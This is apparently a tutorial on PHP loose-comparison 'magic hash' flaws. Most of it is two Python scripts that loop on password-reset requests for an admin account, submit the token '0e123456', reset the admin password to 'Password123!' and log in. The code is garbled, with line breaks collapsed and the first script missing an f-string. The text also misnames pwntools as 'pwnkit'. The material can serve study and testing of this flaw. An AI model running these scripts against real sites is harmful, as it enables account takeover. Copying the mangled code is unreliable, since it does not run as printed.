PHP type juggling vulnerability occurs when different data types are compared, leading to unexpected results. It exploits PHP's loose comparison (==) allowing different types to be considered equal, for instance, '0' (string) and 0 (integer). This can lead to security issues like bypassing authentication checks.
To identify a type juggling vulnerability, look for loose comparisons (using '==' instead of '===').
In languages like PHP, when comparing two strings using the '==' operator, if both strings are numerical or have a numerical leading part, PHP will coerce them into numbers and then compare these numbers. This behavior can lead to unexpected and insecure outcomes.
The term "magic hash" refers to specially crafted strings that, when compared using '==', result in true due to this type coercion, even though the strings themselves are different. For instance, if a string starts with '0e' followed by digits (like '0e123456'), PHP interprets this as a number in scientific notation (0 multiplied by 10 to the power of 123456), which equates to 0. So, any two strings of this form will be considered equal because they both evaluate to 0 numerically.
In the context of security, this becomes a vulnerability when such strings are used in critical comparisons, like verifying passwords or tokens. For example, if an application uses '==' for comparing a user-provided password hash with the stored hash, an attacker could provide a magic hash that unexpectedly matches a different password hash, allowing unauthorized access.
For example, to exploit a reset passwords URL when it uses magic hashes in the token field:
import requests, sys, time# Initialize the current timestamptimestamp =int(time.time())# Start a new session with the target websitesession = requests.Session()session.get("http://example.com")# Function to request a password resetdefrequest_password_reset():# Sends a POST request to initiate a password reset for the admin's email session.post('http://example.com/forgot', data={'email': "admin@example.com"})# Function to test for the magic hash vulnerabilitydefcheck_if_vulnerable():# Sends a GET request to the password reset URL with a special token response = session.get(f'http://example.com/reset/1/{timestamp}/0e123456')return"Reset your password below"in response.text# Exploitation loopwhileTrue:request_password_reset()ifcheck_if_vulnerable():# Change the password using the magic hash vulnerability session.post('http://example.com/reset/1/{timestamp}/0e123456', data={'password': 'Password123!'})print('Password changed successfully to Password123!')break# Attempt to login with the new passwordlogin_response = session.post('http://example.com/login', data={'email': "admin@example.com", 'password': 'Password123!'})
# Check if the login was successful and print a messageif"Login successful"in login_response.text:# Replace this condition based on the actual response contentprint("Successfully logged in as admin.")else:print("Failed to log in.")
This can be improved with pwnkit logging:
import requestsimport timefrom pwn import log# Initialize the current timestamptimestamp =int(time.time())# Start a new session with the target websitesession = requests.Session()session.get("http://example.com")# Initialize the log contextcontext = log.progress("Exploiting Magic Hash Vulnerability")# Function to request a password resetdefrequest_password_reset():# Sends a POST request to initiate a password reset for the admin's email response = session.post('http://example.com/forgot', data={'email': "admin@example.com"})return response# Function to test for the magic hash vulnerabilitydefcheck_if_vulnerable():# Sends a GET request to the password reset URL with a special token response = session.get(f'http://example.com/reset/1/{timestamp}/0e123456')return"Reset your password below"in response.text# Exploitation loopwhileTrue:request_password_reset() context.status("Requesting password reset...")ifcheck_if_vulnerable():# Change the password using the magic hash vulnerability response = session.post(f'http://example.com/reset/1/{timestamp}/0e123456', data={'password': 'Password123!'})if"Password changed successfully"in response.text: context.success("Password changed successfully to Password123!")else: context.failure("Password change failed")breakelse: context.status("No vulnerability found, retrying...")# Attempt to login with the new passwordlogin_response = session.post('http://example.com/login', data={'email': "admin@example.com", 'password': 'Password123!'})
# Check if the login was successful and print a messageif"Login successful"in login_response.text:# Replace this condition based on the actual response content context.success("Successfully logged in as admin.")else: context.failure("Failed to log in.")# Clean up the log contextcontext.success("Exploitation complete")